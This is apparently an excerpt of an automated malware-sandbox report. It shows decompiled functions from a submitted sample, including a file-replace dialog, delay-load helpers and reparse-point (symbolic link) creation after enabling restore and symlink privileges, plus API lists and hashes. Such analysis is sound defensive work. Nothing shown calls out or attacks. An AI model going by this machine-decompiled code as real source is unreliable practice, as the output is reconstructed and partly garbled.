Function 00CDF51B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8fbf0df286c33bfd62fe18cd59c3c68506d5fda44a63717a9800736760c4789e
Instruction ID: 3374160b63f55b26b0fde5eac0ac0480e3ca91dc8490037c8760cb14f61e8e9e
Opcode Fuzzy Hash: 8fbf0df286c33bfd62fe18cd59c3c68506d5fda44a63717a9800736760c4789e
Instruction Fuzzy Hash: 2BA011A22AC002BC30082202AC02C3F02ACE8C8BA0330883FF223C02C0AA8008032032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF52F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 42f731d64a075988ee3a1be8560e430f7546a979074da645321741b0d603b8a5
Instruction ID: 3374160b63f55b26b0fde5eac0ac0480e3ca91dc8490037c8760cb14f61e8e9e
Opcode Fuzzy Hash: 42f731d64a075988ee3a1be8560e430f7546a979074da645321741b0d603b8a5
Instruction Fuzzy Hash: 2BA011A22AC002BC30082202AC02C3F02ACE8C8BA0330883FF223C02C0AA8008032032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF539 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ccb392929dd11441085864ab2dd3cd5c297163f64d9cbef27089cfbd2f91a239
Instruction ID: 3374160b63f55b26b0fde5eac0ac0480e3ca91dc8490037c8760cb14f61e8e9e
Opcode Fuzzy Hash: ccb392929dd11441085864ab2dd3cd5c297163f64d9cbef27089cfbd2f91a239
Instruction Fuzzy Hash: 2BA011A22AC002BC30082202AC02C3F02ACE8C8BA0330883FF223C02C0AA8008032032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDBBE9 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDBBE9(WCHAR* _a4) {
				signed int _t4;

				_t4 = SetCurrentDirectoryW(_a4); // executed
				return _t4 & 0xffffff00 | _t4 != 0x00000000;
			}

0x00cdbbed
0x00cdbbf8

APIs

SetCurrentDirectoryW.KERNELBASE(?,00CDBF12,00D11890,00000000,00D12892,00000006), ref: 00CDBBED

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 732caeed6920999ffe7bfd03e99ba904aa3876253e752b7106382f0aafdc687c
Instruction ID: 4d654bd1bf81935556cdb1656ddc1b0e02cedb1cd326618ed060e96b8deccaaf
Opcode Fuzzy Hash: 732caeed6920999ffe7bfd03e99ba904aa3876253e752b7106382f0aafdc687c
Instruction Fuzzy Hash: B6A011322002008B82000B328F0AB2FBAAAAFA2A00F00C028A00080030EB3088A0EA02

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00CDD2A0 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 233
windowfileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00CDD2A0(void* __ecx, void* __edx, void* __eflags, char _a48, char _a64, char _a80, signed char _a244, struct _WIN32_FIND_DATAW _a256, signed char _a260, intOrPtr _a292, intOrPtr _a296, char _a300, short _a836, short _a852, int _a1872, int _a1880, char _a1892, short _a2564, short _a2584, char _a2596, char _a2608, struct HWND__* _a6708, intOrPtr _a6712, signed short _a6716, intOrPtr _a6720) {
				char _v36;
				char _v56;
				void* __edi;
				void* __esi;
				void* _t58;
				void* _t63;
				void* _t98;
				long _t99;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t106;
				void* _t107;
				signed short _t109;
				signed int _t112;
				signed int _t115;
				struct HWND__* _t116;
				intOrPtr _t117;
				void* _t118;
				void* _t120;
				void* _t121;
				int _t123;
				void* _t126;
				void* _t128;

				_t114 = __edx;
				_t111 = __ecx;
				E00CDFE20(0x1a30);
				_t109 = _a6716;
				_t117 = _a6712;
				_t116 = _a6708;
				if(E00CC12F6(__edx, _t116, _t117, _t109, _a6720, L"REPLACEFILEDLG", 0, 0) == 0) {
					_t118 = _t117 - 0x110;
					if(_t118 == 0) {
						SetFocus(GetDlgItem(_t116, 0x6c));
						E00CD1908( &_a2608, _a6720, 0x800);
						E00CCD75B( &_a2596,  &_a2596, 0x800);
						SetDlgItemTextW(_t116, 0x65,  &_a2584);
						 *0xd25074( &_a2584, 0,  &_a1892, 0x2b4, 0x100);
						SendDlgItemMessageW(_t116, 0x66, 0x170, _a1872, 0);
						_t120 = FindFirstFileW( &_a2564,  &_a256);
						if(_t120 != 0xffffffff) {
							_push(0x64);
							_push( &_a80);
							_push(0);
							_push( &_a300);
							E00CDBBFB(_t116, _t120);
							_push( &_a64);
							_t63 = E00CCF917(0x99);
							_t110 = L"%s %s";
							E00CC4A00( &_a852, 0x200, L"%s %s", _t63);
							_t128 = _t126 + 0x14;
							SetDlgItemTextW(_t116, 0x6a,  &_a852);
							FindClose(_t120);
							if((_a260 & 0x00000010) != 0) {
								_t121 = 0x200;
							} else {
								_t111 = 0 + _a296;
								asm("adc eax, ebp");
								E00CDBFAF(0 + _a296, _a292,  &_v36, 0x32);
								_push(E00CCF917(0x98));
								_t121 = 0x200;
								E00CC4A00( &_a836, 0x200, _t110,  &_v56);
								_t128 = _t128 + 0x14;
								SetDlgItemTextW(_t116, 0x68,  &_a836);
							}
							SendDlgItemMessageW(_t116, 0x67, 0x170, _a1880, 0);
							E00CDBCB3(_t111, _t114, _t116, _t121,  *0xd158ac, 0,  &_a64, 0x64);
							_push( &_a48);
							E00CC4A00( &_a836, _t121, _t110, E00CCF917(0x99));
							_t126 = _t128 + 0x14;
							SetDlgItemTextW(_t116, 0x6b,  &_a836);
							_t112 =  *0xd20cb4;
							_t115 =  *0xd20cb0;
							if((_a244 & 0x00000010) == 0 || (_t115 | _t112) != 0) {
								E00CDBFAF(_t115, _t112,  &_v36, 0x32);
								_push(E00CCF917(0x98));
								E00CC4A00( &_a836, _t121, _t110,  &_v56);
								_t126 = _t126 + 0x14;
								SetDlgItemTextW(_t116, 0x69,  &_a836);
							}
						}
						L27:
						_t58 = 0;
						L28:
						return _t58;
					}
					if(_t118 != 1) {
						goto L27;
					}
					_t123 = 2;
					_t98 = (_t109 & 0x0000ffff) - _t123;
					if(_t98 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t123);
						L13:
						_t99 = SendDlgItemMessageW(_t116, 0x66, 0x171, 0, 0);
						if(_t99 != 0) {
							 *0xd250d0(_t99);
						}
						EndDialog(_t116, _t123);
						goto L1;
					}
					_t103 = _t98 - 0x6a;
					if(_t103 == 0) {
						_t123 = 0;
						goto L13;
					}
					_t104 = _t103 - 1;
					if(_t104 == 0) {
						_t123 = 1;
						goto L13;
					}
					_t105 = _t104 - 1;
					if(_t105 == 0) {
						_push(4);
						goto L12;
					}
					_t106 = _t105 - 1;
					if(_t106 == 0) {
						goto L13;
					}
					_t107 = _t106 - 1;
					if(_t107 == 0) {
						_push(3);
						goto L12;
					}
					if(_t107 != 1) {
						goto L27;
					}
					goto L11;
				}
				L1:
				_t58 = 1;
				goto L28;
			}

0x00cdd2a0
0x00cdd2a0
0x00cdd2a5
0x00cdd2ab
0x00cdd2b4
0x00cdd2be
0x00cdd2dd
0x00cdd2e7
0x00cdd2ed
0x00cdd367
0x00cdd382
0x00cdd391
0x00cdd3a1
0x00cdd3c2
0x00cdd3d8
0x00cdd3f4
0x00cdd3f9
0x00cdd3ff
0x00cdd405
0x00cdd406
0x00cdd40e
0x00cdd40f
0x00cdd418
0x00cdd41e
0x00cdd424
0x00cdd437
0x00cdd43c
0x00cdd44a
0x00cdd451
0x00cdd45f
0x00cdd4bb
0x00cdd461
0x00cdd469
0x00cdd478
0x00cdd47c
0x00cdd48b
0x00cdd490
0x00cdd4a0
0x00cdd4a5
0x00cdd4b3
0x00cdd4b3
0x00cdd4d0
0x00cdd4e4
0x00cdd4ed
0x00cdd503
0x00cdd508
0x00cdd516
0x00cdd524
0x00cdd52a
0x00cdd530
0x00cdd541
0x00cdd550
0x00cdd560
0x00cdd565
0x00cdd573
0x00cdd573
0x00cdd530
0x00cdd579
0x00cdd579
0x00cdd57f
0x00cdd585
0x00cdd585
0x00cdd2f2
0x00000000
0x00000000
0x00cdd2fd
0x00cdd2fe
0x00cdd300
0x00cdd324
0x00cdd324
0x00cdd326
0x00cdd326
0x00cdd327
0x00cdd331
0x00cdd339
0x00cdd33c
0x00cdd33c
0x00cdd344
0x00000000
0x00cdd344
0x00cdd302
0x00cdd305
0x00cdd359
0x00000000
0x00cdd359
0x00cdd307
0x00cdd30a
0x00cdd356
0x00000000
0x00cdd356
0x00cdd30c
0x00cdd30f
0x00cdd350
0x00000000
0x00cdd350
0x00cdd311
0x00cdd314
0x00000000
0x00000000
0x00cdd316
0x00cdd319
0x00cdd34c
0x00000000
0x00cdd34c
0x00cdd31e
0x00000000
0x00000000
0x00000000
0x00cdd31e
0x00cdd2df
0x00cdd2e1
0x00000000

APIs

Part of subcall function 00CC12F6: GetDlgItem.USER32(00000000,00003021), ref: 00CC133A
Part of subcall function 00CC12F6: SetWindowTextW.USER32(00000000,00CF45F4), ref: 00CC1350

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00CDD331
EndDialog.USER32(?,00000006), ref: 00CDD344
GetDlgItem.USER32(?,0000006C), ref: 00CDD360
SetFocus.USER32(00000000), ref: 00CDD367
SetDlgItemTextW.USER32(?,00000065,?), ref: 00CDD3A1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00CDD3D8
FindFirstFileW.KERNEL32(?,?), ref: 00CDD3EE

Part of subcall function 00CDBBFB: FileTimeToSystemTime.KERNEL32(?,?), ref: 00CDBC0F
Part of subcall function 00CDBBFB: SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00CDBC20
Part of subcall function 00CDBBFB: SystemTimeToFileTime.KERNEL32(?,?), ref: 00CDBC2E
Part of subcall function 00CDBBFB: FileTimeToSystemTime.KERNEL32(?,?), ref: 00CDBC3C
Part of subcall function 00CDBBFB: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00CDBC57
Part of subcall function 00CDBBFB: GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00CDBC7E
Part of subcall function 00CDBBFB: _swprintf.LIBCMT ref: 00CDBCA4

_swprintf.LIBCMT ref: 00CDD437

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00CDD44A
FindClose.KERNEL32(00000000), ref: 00CDD451
_swprintf.LIBCMT ref: 00CDD4A0
SetDlgItemTextW.USER32(?,00000068,?), ref: 00CDD4B3
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00CDD4D0
_swprintf.LIBCMT ref: 00CDD503
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00CDD516
_swprintf.LIBCMT ref: 00CDD560
SetDlgItemTextW.USER32(?,00000069,?), ref: 00CDD573

Part of subcall function 00CDBFAF: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00CDBFD5
Part of subcall function 00CDBFAF: GetNumberFormatW.KERNEL32 ref: 00CDC024

Strings

%s %s, xrefs: 00CDD424, 00CDD430, 00CDD496, 00CDD4F9, 00CDD556
REPLACEFILEDLG, xrefs: 00CDD2C7

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Item$Time$Text$_swprintf$FileSystem$FormatMessageSend$Find$CloseDateDialogFirstFocusInfoLocalLocaleNumberSpecificWindow__vswprintf_c_l
String ID: %s %s$REPLACEFILEDLG
API String ID: 3464475507-439456425
Opcode ID: daf8702f42157ba5d52ed0a566c9eb5f3719096e554549b74a0c4ea2f009b36c
Instruction ID: 2e08fba8c8d87a62dbc9844d9fe59d722802d708f498417333733e4d84422672
Opcode Fuzzy Hash: daf8702f42157ba5d52ed0a566c9eb5f3719096e554549b74a0c4ea2f009b36c
Instruction Fuzzy Hash: CF71B3B29443047BD3319B64EC49FFF7BACEB8A700F04041AF74AD2291D6759A059B72

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7A8F Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00CC7A8F(void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t115;
				signed int _t118;
				int _t122;
				intOrPtr _t123;
				signed int _t140;
				int _t146;
				intOrPtr _t154;
				long _t163;
				void* _t192;
				void* _t196;
				void* _t200;
				void* _t204;
				short _t205;
				void* _t209;
				WCHAR* _t210;
				long _t211;
				signed int _t213;
				signed int _t214;
				signed int _t215;
				signed int _t237;
				intOrPtr* _t241;
				intOrPtr* _t243;
				void* _t245;
				intOrPtr _t246;
				signed int _t247;
				void* _t248;
				intOrPtr _t251;
				signed int _t252;
				intOrPtr _t254;
				short _t255;
				void* _t256;
				short _t260;
				void* _t261;
				void* _t263;
				void* _t264;

				E00CDFD4C(0xcf3838, _t261);
				E00CDFE20(0x3060);
				if( *0xd03063 == 0) {
					E00CC86E4(L"SeRestorePrivilege");
					E00CC86E4(L"SeCreateSymbolicLinkPrivilege");
					 *0xd03063 = 1;
				}
				_t213 = _t261 - 0x28;
				E00CC13D9(_t213, 0x1418);
				_t254 =  *((intOrPtr*)(_t261 + 0x10));
				 *(_t261 - 4) =  *(_t261 - 4) & 0x00000000;
				E00CD1908(_t261 - 0x102c, _t254 + 0x10fc, 0x800);
				 *(_t261 - 0x18) = E00CE4DF3(_t261 - 0x102c);
				_t245 = _t261 - 0x102c;
				_t209 = _t261 - 0x202c;
				_t115 = E00CE72B8(_t245, L"\\??\\", 4);
				_t264 = _t263 + 0x10;
				_t214 = _t213 & 0xffffff00 | _t115 == 0x00000000;
				 *(_t261 - 0xd) = _t214;
				if(_t115 == 0) {
					_t245 = _t261 - 0x1024;
				}
				if(_t214 != 0) {
					_t204 = E00CE72B8(_t245, L"UNC\\", 4);
					_t264 = _t264 + 0xc;
					if(_t204 == 0) {
						_t205 = 0x5c;
						 *((short*)(_t261 - 0x202c)) = _t205;
						_t209 = _t261 - 0x202a;
						_t245 = _t245 + 6;
					}
				}
				E00CE7296(_t209, _t245);
				_t118 = E00CE4DF3(_t261 - 0x202c);
				_t246 =  *((intOrPtr*)(_t261 + 8));
				_t210 =  *(_t261 + 0xc);
				 *(_t261 - 0x14) = _t118;
				if( *((char*)(_t246 + 0x7083)) != 0) {
					L11:
					E00CCB321(_t210, _t214, _t246, _t261, _t210, 1,  *(_t246 + 0x704b) & 0x000000ff);
					if(E00CCB4A1(_t210) != 0) {
						_t196 = E00CCB4FF(E00CCB4B3(_t210));
						_push(_t210);
						if(_t196 == 0) {
							E00CCB450();
						} else {
							E00CCB3FF();
						}
					}
					if( *((char*)(_t254 + 0x10e9)) != 0 ||  *((char*)(_t254 + 0x20fc)) != 0) {
						_t122 = CreateDirectoryW(_t210, 0);
						__eflags = _t122;
						if(_t122 != 0) {
							goto L20;
						}
						_t211 = 0;
						 *(_t261 - 0x14) = 0;
						E00CC75E8(0x14, _t261 - 0x14, _t261 + 0xc);
						E00CC7809(0xd030c4, 9);
						goto L38;
					} else {
						_t192 = CreateFileW(_t210, 0x40000000, 0, 0, 1, 0x80, 0);
						if(_t192 != 0xffffffff) {
							CloseHandle(_t192);
							L20:
							_t123 =  *((intOrPtr*)(_t254 + 0x10f8));
							__eflags = _t123 - 3;
							if(_t123 != 3) {
								__eflags = _t123 - 2;
								if(_t123 == 2) {
									L26:
									_t241 =  *(_t261 - 0x28);
									_t215 =  *(_t261 - 0x18) & 0x0000ffff;
									_t247 =  *(_t261 - 0x14) & 0x0000ffff;
									 *_t241 = 0xa000000c;
									_t255 = _t215 + _t215;
									 *((short*)(_t241 + 0xa)) = _t255;
									 *((short*)(_t241 + 4)) = 0x10 + (_t247 + _t215) * 2;
									 *((intOrPtr*)(_t241 + 6)) = 0;
									E00CE7296(_t241 + 0x14, _t261 - 0x102c);
									_t256 =  *(_t261 - 0x28);
									 *((short*)(_t256 + 0xc)) = _t255 + 2;
									 *((short*)(_t256 + 0xe)) = _t247 + _t247;
									E00CE7296(_t256 + ( *(_t261 - 0x18) + 0xb) * 2, _t261 - 0x202c);
									_t140 =  *(_t261 - 0xd) & 0x000000ff ^ 0x00000001;
									__eflags = _t140;
									 *(_t256 + 0x10) = _t140;
									L27:
									_t248 = CreateFileW(_t210, 0xc0000000, 0, 0, 3, 0x2200000, 0);
									__eflags = _t248 - 0xffffffff;
									if(_t248 != 0xffffffff) {
										_t146 = DeviceIoControl(_t248, 0x900a4, _t256, ( *(_t256 + 4) & 0x0000ffff) + 8, 0, 0, _t261 - 0x2c, 0);
										__eflags = _t146;
										if(_t146 != 0) {
											E00CCA79B(_t261 - 0x306c);
											 *(_t261 - 4) = 1;
											E00CC86C3(_t261 - 0x306c, _t248);
											_t242 =  *((intOrPtr*)(_t261 + 8));
											_t249 =  *((intOrPtr*)(_t261 + 0x10));
											asm("sbb ecx, ecx");
											asm("sbb ecx, ecx");
											asm("sbb ecx, ecx");
											E00CCB012(_t261 - 0x306c, _t256,  ~( *( *((intOrPtr*)(_t261 + 8)) + 0x81b8)) &  *((intOrPtr*)(_t261 + 0x10)) + 0x00001038,  ~( *( *((intOrPtr*)(_t261 + 8)) + 0x81bc)) &  *((intOrPtr*)(_t261 + 0x10)) + 0x00001040,  ~( *(_t242 + 0x81c0)) & _t249 + 0x00001048);
											E00CCA860(_t261 - 0x306c);
											_t154 =  *((intOrPtr*)(_t261 + 8));
											__eflags =  *((char*)(_t154 + 0x7094));
											if( *((char*)(_t154 + 0x7094)) == 0) {
												E00CCB8C6(_t210,  *((intOrPtr*)(_t249 + 0x24)));
											}
											_t211 = 1;
											E00CCA7DF(_t261 - 0x306c);
											L42:
											if(_t256 != 0) {
												L00CE5069(_t256);
											}
											 *[fs:0x0] =  *((intOrPtr*)(_t261 - 0xc));
											return _t211;
										}
										CloseHandle(_t248);
										 *(_t261 - 0x14) =  *(_t261 - 0x14) & 0x00000000;
										E00CC75E8(0x15, _t261 - 0x14, _t261 + 0xc);
										_t163 = GetLastError();
										__eflags = _t163 - 5;
										if(_t163 == 5) {
											L32:
											__eflags = E00CD1AB5();
											if(__eflags == 0) {
												E00CC232E(0x18);
											}
											L34:
											E00CC7851(__eflags);
											E00CC7809(0xd030c4, 9);
											_t251 =  *((intOrPtr*)(_t261 + 0x10));
											_push(_t210);
											__eflags =  *((char*)(_t251 + 0x10e9));
											if( *((char*)(_t251 + 0x10e9)) == 0) {
												DeleteFileW();
											} else {
												RemoveDirectoryW();
											}
											L37:
											_t211 = 0;
											L38:
											_t256 =  *(_t261 - 0x28);
											goto L42;
										}
										__eflags = _t163 - 0x522;
										if(__eflags != 0) {
											goto L34;
										}
										goto L32;
									}
									E00CC76B6(_t210);
									E00CC7809(0xd030c4, 9);
									goto L37;
								}
								__eflags = _t123 - 1;
								if(_t123 != 1) {
									goto L37;
								}
								goto L26;
							}
							_t243 =  *(_t261 - 0x28);
							_t237 =  *(_t261 - 0x18) & 0x0000ffff;
							_t252 =  *(_t261 - 0x14) & 0x0000ffff;
							 *_t243 = 0xa0000003;
							_t260 = _t237 + _t237;
							 *((short*)(_t243 + 0xa)) = _t260;
							 *((short*)(_t243 + 4)) = 0xc + (_t252 + _t237) * 2;
							 *((intOrPtr*)(_t243 + 6)) = 0;
							E00CE7296(_t243 + 0x10, _t261 - 0x102c);
							_t256 =  *(_t261 - 0x28);
							 *((short*)(_t256 + 0xc)) = _t260 + 2;
							 *((short*)(_t256 + 0xe)) = _t252 + _t252;
							E00CE7296(_t256 + ( *(_t261 - 0x18) + 9) * 2, _t261 - 0x202c);
							goto L27;
						}
						E00CC76B6(_t210);
						goto L37;
					}
				}
				if( *(_t261 - 0xd) != 0) {
					goto L37;
				}
				_t200 = E00CCD0D2(_t254 + 0x10fc);
				_t277 = _t200;
				if(_t200 != 0) {
					goto L37;
				}
				_push(_t254 + 0x10fc);
				_push(_t210);
				_push(_t254 + 0x28);
				_push(_t246);
				if(E00CC8353(_t277) == 0) {
					goto L37;
				}
				goto L11;
			}

0x00cc7a94
0x00cc7a9e
0x00cc7aaa
0x00cc7ab1
0x00cc7abb
0x00cc7ac0
0x00cc7ac0
0x00cc7acf
0x00cc7ad2
0x00cc7ad7
0x00cc7ada
0x00cc7af1
0x00cc7b04
0x00cc7b07
0x00cc7b0f
0x00cc7b1b
0x00cc7b20
0x00cc7b25
0x00cc7b28
0x00cc7b2d
0x00cc7b2f
0x00cc7b2f
0x00cc7b37
0x00cc7b41
0x00cc7b46
0x00cc7b4b
0x00cc7b4f
0x00cc7b50
0x00cc7b57
0x00cc7b5d
0x00cc7b5d
0x00cc7b4b
0x00cc7b62
0x00cc7b6e
0x00cc7b73
0x00cc7b79
0x00cc7b7c
0x00cc7b86
0x00cc7bc0
0x00cc7bcb
0x00cc7bd8
0x00cc7be1
0x00cc7be6
0x00cc7be9
0x00cc7bf2
0x00cc7beb
0x00cc7beb
0x00cc7beb
0x00cc7be9
0x00cc7bfe
0x00cc7cc5
0x00cc7ccb
0x00cc7ccd
0x00000000
0x00000000
0x00cc7cd6
0x00cc7cdc
0x00cc7ce2
0x00cc7cee
0x00000000
0x00cc7c11
0x00cc7c23
0x00cc7c2c
0x00cc7c3f
0x00cc7c45
0x00cc7c45
0x00cc7c4b
0x00cc7c4e
0x00cc7cf8
0x00cc7cfb
0x00cc7d06
0x00cc7d09
0x00cc7d0c
0x00cc7d12
0x00cc7d15
0x00cc7d1b
0x00cc7d1e
0x00cc7d2c
0x00cc7d32
0x00cc7d40
0x00cc7d48
0x00cc7d4b
0x00cc7d52
0x00cc7d67
0x00cc7d73
0x00cc7d73
0x00cc7d76
0x00cc7d79
0x00cc7d91
0x00cc7d93
0x00cc7d96
0x00cc7dcb
0x00cc7dd1
0x00cc7dd3
0x00cc7e51
0x00cc7e5d
0x00cc7e61
0x00cc7e66
0x00cc7e69
0x00cc7e7a
0x00cc7e8d
0x00cc7ea0
0x00cc7eab
0x00cc7eb6
0x00cc7ebb
0x00cc7ebe
0x00cc7ec5
0x00cc7ecb
0x00cc7ecb
0x00cc7ed6
0x00cc7ed8
0x00cc7edd
0x00cc7edf
0x00cc7ee2
0x00cc7ee7
0x00cc7ef0
0x00cc7ef8
0x00cc7ef8
0x00cc7dd6
0x00cc7ddc
0x00cc7dea
0x00cc7def
0x00cc7df5
0x00cc7df8
0x00cc7e01
0x00cc7e06
0x00cc7e08
0x00cc7e0c
0x00cc7e0c
0x00cc7e11
0x00cc7e18
0x00cc7e21
0x00cc7e26
0x00cc7e29
0x00cc7e2a
0x00cc7e31
0x00cc7e3b
0x00cc7e33
0x00cc7e33
0x00cc7e33
0x00cc7e41
0x00cc7e41
0x00cc7e43
0x00cc7e43
0x00000000
0x00cc7e43
0x00cc7dfa
0x00cc7dff
0x00000000
0x00000000
0x00000000
0x00cc7dff
0x00cc7da0
0x00cc7da9
0x00000000
0x00cc7da9
0x00cc7cfd
0x00cc7d00
0x00000000
0x00000000
0x00000000
0x00cc7d00
0x00cc7c57
0x00cc7c5a
0x00cc7c60
0x00cc7c63
0x00cc7c69
0x00cc7c6c
0x00cc7c7a
0x00cc7c80
0x00cc7c8e
0x00cc7c96
0x00cc7c99
0x00cc7ca0
0x00cc7cb5
0x00000000
0x00cc7cba
0x00cc7c34
0x00000000
0x00cc7c34
0x00cc7bfe
0x00cc7b8c
0x00000000
0x00000000
0x00cc7b99
0x00cc7b9e
0x00cc7ba0
0x00000000
0x00000000
0x00cc7bac
0x00cc7bad
0x00cc7bb1
0x00cc7bb2
0x00cc7bba
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00CC7A94
_wcslen.LIBCMT ref: 00CC7AFD
_wcslen.LIBCMT ref: 00CC7B6E

Part of subcall function 00CC86E4: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CC86F3
Part of subcall function 00CC86E4: GetLastError.KERNEL32 ref: 00CC8739
Part of subcall function 00CC86E4: CloseHandle.KERNEL32(?), ref: 00CC8748

Part of subcall function 00CCB450: DeleteFileW.KERNELBASE(?,00000000,?,00CCA416,?,?,?,?,00CC890B,?,?,?,00CF365F,000000FF), ref: 00CCB461
